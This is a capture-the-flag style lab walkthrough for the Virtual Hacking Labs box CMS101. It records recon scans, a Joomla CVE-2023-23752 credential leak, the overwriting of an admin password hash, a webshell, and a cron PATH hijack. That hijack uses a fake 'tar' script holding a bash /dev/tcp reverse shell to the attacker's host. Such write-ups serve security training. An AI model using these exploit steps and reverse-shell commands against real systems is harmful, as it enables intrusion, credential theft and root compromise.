CMS101 — VHL (10.11.1.178)

sudo rustscan -a 10.11.1.178 -- -A -sC

#virtual hacking labs#vhl#walkthrough#boxes#os:windows#os:linux#tech:rce#tech:cve#tech:suid

CMS101 — VHL (10.11.1.178)

#Initial Foothold via Vulnerable Joomla 4.2.7 Version https://github.com/Acceis/exploit-CVE-2023-23752?tab=readme-ov-file, Followed this link and created a webshell https://vk9-sec.com/reverse-shell-on-any-cms/ #Privesc via Cron Job and PATH having . [dot] which means that scripts first looks for execution in current directory ( Attached screenshot in the Privesc section )

Information Gathering

🐺 howlsec@kalishell

$#Port Enumeration
$sudo rustscan -a 10.11.1.178 -- -A -sC
$ 
$21/tcp   open  ftp     syn-ack ttl 63 ProFTPD or KnFTPD
$ 
$22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.4 (protocol 2.0)
$| ssh-hostkey: 
$|   2048 12:00:ec:bd:40:49:a8:dd:cb:86:a4:e3:dc:40:a3:d8 (RSA)
$| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIlJTK0oa6JpcUnOTCGNHBfp6nM9PgH6VLJlBGUw0YDrnIawHw0MxyCgh0nttUPnjtbqjJv+dQamolgX5ncKvpw1EiOf4a4wFiNZRghAS/2VESDCfcJU32SytcjYPeglkQ4n6X7SoJ0sZIorxkWX7Sx1TX0hJiqyfw2h98fMiom1I6n0oTIzf0nTXfJpyDxcqFpDYqNjXKVc99HNCS/YuGvcygTTZEK4qcyAIiuK8MaNe30TsivyiY5B/pVFBd7CXjiTo1M9giCyU7sFVpj3IKTNpsKYsY8d9qrwa5+R27wXcUgqJ+FdOJr22JC+08v8GjrDST0cNH0+9Kzf1QdpHH
$|   256 29:a9:c2:c6:b4:1c:c8:74:d4:5e:bd:0c:01:7d:f3:f3 (ECDSA)
$| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBN/bQfb6KViVBzYglOnZbQJDTQAl4Zua8Nv7QIwqnibcj9L0ceE+FBIAJmq1jbNO0VwMHV4HYr+1B/yFgqT1beY=
$|   256 b3:95:6b:d7:73:81:ad:4a:56:4d:ec:6d:95:4a:7f:0c (ED25519)
$|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICPseOQuEShBaEgCeKDVV3P98XQzuC6YAv6uGyPR89/x
$ 
$80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.6 ((CentOS) PHP/8.0.28)
$|_http-server-header: Apache/2.4.6 (CentOS) PHP/8.0.28
$|_http-title: Home
$|_http-favicon: Unknown favicon MD5: 1B6942E22443109DAEA739524AB74123
$| http-methods: 
$|_  Supported Methods: GET HEAD POST OPTIONS
$ 
$3306/tcp open  mysql   syn-ack ttl 63 MySQL 5.6.51
$| mysql-info: 
$|   Protocol: 10
$|   Version: 5.6.51
$|   Thread ID: 4
$|   Capabilities flags: 63487
$|   Some Capabilities: LongPassword, InteractiveClient, DontAllowDatabaseTableColumn, LongColumnFlag, IgnoreSpaceBeforeParenthesis, SupportsTransactions, Speaks41ProtocolOld, SupportsCompression, FoundRows, Support41Auth, IgnoreSigpipes, Speaks41ProtocolNew, ODBCClient, SupportsLoadDataLocal, ConnectWithDatabase, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
$|   Status: Autocommit
$|   Salt: !e[wg~e_,Z`WpMqri:"9
$|_  Auth Plugin Name: mysql_native_password

Ftp (21) — Nothing here {toggle="true"}

🐺 howlsec@kalicode

01```shell

#Tried Anonymous and connecting to the port with nc └─$ nc -nv 10.11.1.178 21
(UNKNOWN) [10.11.1.178] 21 (ftp) open 220 FTP Server ready.

500 Invalid command: try being more creative help 214-The following commands are recognized (* =>'s unimplemented): CWD XCWD CDUP XCUP SMNT* QUIT PORT PASV
EPRT EPSV ALLO* RNFR RNTO DELE MDTM RMD
XRMD MKD XMKD PWD XPWD SIZE SYST HELP
NOOP FEAT OPTS AUTH* CCC* CONF* ENC* MIC*
PBSZ* PROT* TYPE STRU MODE RETR STOR STOU
APPE REST ABOR USER PASS ACCT* REIN* LIST
NLST STAT SITE MLSD MLST
214 Direct comments to root@localhost LIST 530 Please login with USER and PASS 21 500 21 not understood PWD 530 Please login with USER and PASS pwd 530 Please login with USER and PASS cwd 530 Please login with USER and PASS pasv 530 Please login with USER and PASS stat 530 Please login with USER and PASS USER root 331 Password required for root PASS root 530 Login incorrect. USER anonymous 331 Password required for anonymous PASS 530 Login incorrect. ^C

┌──(kali㉿kali)-[~/VHL/CMS101] └─$ ftp 10.11.1.178 21 Connected to 10.11.1.178. 220 FTP Server ready. Name (10.11.1.178:kali): anonymous 331 Password required for anonymous Password: 530 Login incorrect. ftp: Login failed ftp> ls 530 Please login with USER and PASS 530 Please login with USER and PASS ftp: Can't bind for data connection: Address already in use ftp> ```

Web (80) — Joomla 4.2.7 - Admin page her http://10.11.1.178/administrator/ {toggle="true"}

🐺 howlsec@kalicode

01```shell

#Whatweb whatweb http://10.11.1.178
http://10.11.1.178 [200 OK] Apache[2.4.6], Cookies[53bae242b067be19787795ebde9ec4ea], Country[RESERVED][ZZ], HTML5, HTTPServer[CentOS][Apache/2.4.6 (CentOS) PHP/8.0.28], HttpOnly[53bae242b067be19787795ebde9ec4ea], IP[10.11.1.178], MetaGenerator[Joomla! - Open Source Content Management], PHP[8.0.28], PasswordField[password], Script[application/json,application/ld+json,module], Title[Home], UncommonHeaders[referrer-policy,cross-origin-opener-policy], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/8.0.28] #Nikto nikto -h http://10.11.1.178

Nikto v2.5.0

Target IP: 10.11.1.178
Target Hostname: 10.11.1.178
Target Port: 80
Start Time: 2025-10-11 13:17:50 (GMT-4)

Server: Apache/2.4.6 (CentOS) PHP/8.0.28
/: Retrieved x-powered-by header: PHP/8.0.28.
/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
/robots.txt: Entry '/modules/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
/robots.txt: Entry '/tmp/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
/robots.txt: Entry '/components/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
/robots.txt: Entry '/includes/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
/robots.txt: Entry '/layouts/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
/robots.txt: Entry '/administrator/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
/robots.txt: Entry '/plugins/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
/robots.txt: Entry '/libraries/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
/robots.txt: Entry '/language/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
/robots.txt: Entry '/cli/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
/robots.txt: Entry '/cache/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
/robots.txt: contains 15 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
PHP/8.0.28 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch.
/: Web Server returns a valid response with junk HTTP methods which may cause false positives.
/: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017
/: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc: EW FileManager for PostNuke allows arbitrary file retrieval. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2047
/administrator/: This might be interesting.
/includes/: This might be interesting.
/tmp/: This might be interesting.
/icons/: Directory indexing found.
/LICENSE.txt: License file found may identify site software.
/icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
/htaccess.txt: Default Joomla! htaccess.txt file found. This should be removed or renamed.
/administrator/index.php: Admin login page/section found.
8926 requests: 0 error(s) and 28 item(s) reported on remote host
End Time: 2025-10-11 13:24:54 (GMT-4) (424 seconds)
🐺 howlsec@kalicode
```
01### Ferox (80) {toggle="true"}
02	```shell
```

#Ferox feroxbuster -u http://10.11.1.178 -x htm php html js txt zip bak asp aspx xml py -r -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 15

[+] FireWall Detector [++] Firewall not detected

[+] Detecting Joomla Version [++] Joomla 4.2.7

[+] Core Joomla Vulnerability [++] Target Joomla core is not vulnerable

[+] Checking Directory Listing [++] directory has directory listing : http://10.11.1.178/administrator/components http://10.11.1.178/administrator/modules http://10.11.1.178/administrator/templates http://10.11.1.178/images/banners

[+] Checking apache info/status files [++] Readable info/status files are not found

[+] admin finder [++] Admin page : http://10.11.1.178/administrator/

[+] Checking robots.txt existing [++] robots.txt is found path : http://10.11.1.178/robots.txt

Interesting path found from robots.txt http://10.11.1.178/joomla/administrator/ http://10.11.1.178/administrator/ http://10.11.1.178/api/ http://10.11.1.178/bin/ http://10.11.1.178/cache/ http://10.11.1.178/cli/ http://10.11.1.178/components/ http://10.11.1.178/includes/ http://10.11.1.178/installation/ http://10.11.1.178/language/ http://10.11.1.178/layouts/ http://10.11.1.178/libraries/ http://10.11.1.178/logs/ http://10.11.1.178/modules/ http://10.11.1.178/plugins/ http://10.11.1.178/tmp/

[+] Finding common backup files name [++] Backup files are not found

[+] Finding common log files name
[++] error log is not found

[+] Checking sensitive config.php.x file
[++] Readable config files are not found

[+] Enumeration component (com_ajax)
[++] Name: com_ajax
Location : http://10.11.1.178/components/com_ajax/
Directory listing is enabled : http://10.11.1.178/components/com_ajax/

[+] Enumeration component (com_banners)
[++] Name: com_banners
Location : http://10.11.1.178/components/com_banners/
Directory listing is enabled : http://10.11.1.178/components/com_banners/

[+] Enumeration component (com_contact)
[++] Name: com_contact
Location : http://10.11.1.178/components/com_contact/
Directory listing is enabled : http://10.11.1.178/components/com_contact/

[+] Enumeration component (com_content)
[++] Name: com_content
Location : http://10.11.1.178/components/com_content/
Directory listing is enabled : http://10.11.1.178/components/com_content/

[+] Enumeration component (com_contenthistory)
[++] Name: com_contenthistory
Location : http://10.11.1.178/components/com_contenthistory/
Directory listing is enabled : http://10.11.1.178/components/com_contenthistory/

[+] Enumeration component (com_fields)
[++] Name: com_fields
Location : http://10.11.1.178/components/com_fields/
Directory listing is enabled : http://10.11.1.178/components/com_fields/

[+] Enumeration component (com_finder)
[++] Name: com_finder
Location : http://10.11.1.178/components/com_finder/
Directory listing is enabled : http://10.11.1.178/components/com_finder/

[+] Enumeration component (com_media)
[++] Name: com_media
Location : http://10.11.1.178/components/com_media/
Directory listing is enabled : http://10.11.1.178/components/com_media/

[+] Enumeration component (com_newsfeeds)
[++] Name: com_newsfeeds
Location : http://10.11.1.178/components/com_newsfeeds/
Directory listing is enabled : http://10.11.1.178/components/com_newsfeeds/

[+] Enumeration component (com_users)
[++] Name: com_users
Location : http://10.11.1.178/components/com_users/
Directory listing is enabled : http://10.11.1.178/components/com_users/

[+] Enumeration component (com_wrapper)
[++] Name: com_wrapper
Location : http://10.11.1.178/components/com_wrapper/
Directory listing is enabled : http://10.11.1.178/components/com_wrapper/
```

MySQL - 3306 —version MySQL 5.6.61 {toggle="true"}

🐺 howlsec@kalicode
01```shell

#Enumeration with nmap nmap -sV -Pn --script=mysql-audit.nse,mysql-brute.nse,mysql-databases.nse,mysql-dump-hashes.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-query.nse,mysql-users.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse -p 3306 10.11.1.178

Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 13:19 EDT Stats: 0:03:29 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan NSE Timing: About 78.12% done; ETC: 13:24 (0:00:59 remaining) Nmap scan report for 10.11.1.178 Host is up (0.022s latency).

PORT STATE SERVICE VERSION 3306/tcp open mysql MySQL 5.6.51 | mysql-enum: | Accounts: No valid accounts found |_ Statistics: Performed 10 guesses in 12 seconds, average tps: 0.8 | mysql-info: | Protocol: 10 | Version: 5.6.51 | Thread ID: 94 | Capabilities flags: 63487 | Some Capabilities: FoundRows, SupportsCompression, Support41Auth, InteractiveClient, LongColumnFlag, Speaks41ProtocolNew, ConnectWithDatabase, Speaks41ProtocolOld, SupportsLoadDataLocal, IgnoreSigpipes, SupportsTransactions, LongPassword, ODBCClient, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments | Status: Autocommit | Salt: 01A7.#;E,Gd@QYICT]U | Auth Plugin Name: mysql_native_password | mysql-brute: | Accounts: No valid accounts found |_ Statistics: Performed 50009 guesses in 287 seconds, average tps: 135.3

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 287.10 seconds

🐺 howlsec@kalicode
01```

Initial Foothold

🐺 howlsec@kalishell
$#Initial foothold via ruby exploit for joomla 4.27 verion https://github.com/Acceis/exploit-CVE-2023-23752?tab=readme-ov-file $ruby exploit.rb http://10.11.1.178 $Users $[913] John Doe (joomlaadmin) - joomlaadmin@localhost.local - Super Users $ $Site info $Site name: Joomla Test Site $Editor: tinymce $Captcha: 0 $Access: 1 $Debug status: false $ $Database info $DB type: mysql $DB host: localhost $DB user: joomla $DB password: PasSw0RdjO0ml4 $DB name: joomla $DB prefix: eqa2g_ $DB encryption 0

Logged into Mysql (screenshot omitted)

🐺 howlsec@kalishell
$#Select joomla db $MySQL [(none)]> show databases; $+--------------------+ $| Database | $+--------------------+ $| information_schema | $| joomla | $+--------------------+ $2 rows in set (0.015 sec) $#Selected all users and found joomlaadmin password hash $MySQL [joomla]> select * from eqa2g_users; $+-----+----------+-------------+-----------------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------+------------+--------+------+--------------+--------------+ $| id | name | username | email | password | block | sendEmail | registerDate | lastvisitDate | activation | params | lastResetTime | resetCount | otpKey | otep | requireReset | authProvider | $+-----+----------+-------------+-----------------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------+------------+--------+------+--------------+--------------+ $| 913 | John Doe | joomlaadmin | joomlaadmin@localhost.local | $2y$10$YWGckee43eMmxehUqhmkbuRZtpxl9TgFYFH9g98IadnQXegJaxb1K | 0 | 1 | 2023-03-15 07:44:41 | 2023-03-16 12:14:56 | 0 | | NULL | 0 | | | 0 | | $+-----+----------+-------------+-----------------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------+------------+--------+------+--------------+--------------+ $#Get hash for Joomlaadmin https://bcrypt-generator.com/ $Used bcrypt generator and got hash for password : password $$2a$12$vjY16GcO4meZFF5yPbB5qO8IXn3BL1ZMTIhURSGM7pOLDwABsGjr2 $#Changed joomlaadmin hash to match it with this one liner $UPDATE eqa2g_users SET password='$2a$12$vjY16GcO4meZFF5yPbB5qO8IXn3BL1ZMTIhURSGM7pOLDwABsGjr2' WHERE username='joomlaadmin'; $#Now my password is password

(screenshot omitted)

🐺 howlsec@kalishell
$Followed this link and created a webshell https://vk9-sec.com/reverse-shell-on-any-cms/ $#Trigger it by having listener and visiting this link 10.11.1.178/templates/cassiopeia/lazarus.php $rlwrap nc -nvlp 443 $listening on [any] 443 ... $connect to [172.16.1.2] from (UNKNOWN) [10.11.1.178] 37986 $Linux localhost.localdomain 6.2.6-1.el7.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Mar 13 22:10:40 EDT 2023 x86_64 x86_64 x86_64 GNU/Linux $ 14:28:04 up 1:15, 0 users, load average: 0.05, 0.01, 0.00 $USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT $uid=48(apache) gid=48(apache) groups=48(apache) $sh: no job control in this shell $sh-4.2$ hostname $hostname $localhost.localdomain $sh-4.2$ ip a $ip a $1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 $ link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 $ inet 127.0.0.1/8 scope host lo $ valid_lft forever preferred_lft forever $ inet6 ::1/128 scope host $ valid_lft forever preferred_lft forever $2: ens32: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 $ link/ether 00:50:56:ac:c5:70 brd ff:ff:ff:ff:ff:ff $ inet 10.11.1.178/24 brd 10.11.1.255 scope global noprefixroute ens32 $ valid_lft forever preferred_lft forever $ inet6 fe80::6631:2a05:1cc5:370b/64 scope link noprefixroute $ valid_lft forever preferred_lft forever $sh-4.2$

(screenshot omitted)

Privesc with . [dot] in the PATH of the Cron Job

🐺 howlsec@kalishell
$#Follow this guide to exploit!

(screenshot omitted)

🐺 howlsec@kalishell
$#Upgrade to TTY $python -c 'import pty; pty.spawn("/bin/bash")' $#Transfered Linpeas and found vulnerable cronjob $cat /etc/crontab $cat /etc/crontab $SHELL=/bin/bash $PATH=.:/sbin:/bin:/usr/sbin:/usr/bin $MAILTO=root $ $# For details see man 4 crontabs $ $# Example of job definition: $# .---------------- minute (0 - 59) $# | .------------- hour (0 - 23) $# | | .---------- day of month (1 - 31) $# | | | .------- month (1 - 12) OR jan,feb,mar,apr ... $# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat $# | | | | | $# * * * * * user-name command to be executed $*/5 * * * * root /usr/local/bin/backup.sh $bash-4.2$ cat /usr/local/bin/backup.sh $cat /usr/local/bin/backup.sh $#!/bin/bash $cd /var/www/html/administrator $tar cf /var/backups/backuplogs.tgz logs $#Since there is a . in a PATH .:/sbin, this script checks for tar in the current directory first so you can put malicious script and rename it tar and when cron executes you will get ROOT shell! $cat tar $bash -c "bash -i >& /dev/tcp/172.16.1.2/443 0>&1" $#Transfered to the victim box in the /var/www/html/administrator directory $wget http://172.16.12/tar $chmod +x tar $#Waited 5 min and got ROOT! $rlwrap nc -nvlp 443 $listening on [any] 443 ... $connect to [172.16.1.2] from (UNKNOWN) [10.11.1.178] 40406 $bash: no job control in this shell $[root@localhost administrator]# cd /root $cd /root $[root@localhost ~]# ls $ls $anaconda-ks.cfg $key.txt $[root@localhost ~]# cat key.txt $cat key.txt $bjtp6y5fv6derm7t3e2j $[root@localhost ~]# ls

(screenshot omitted)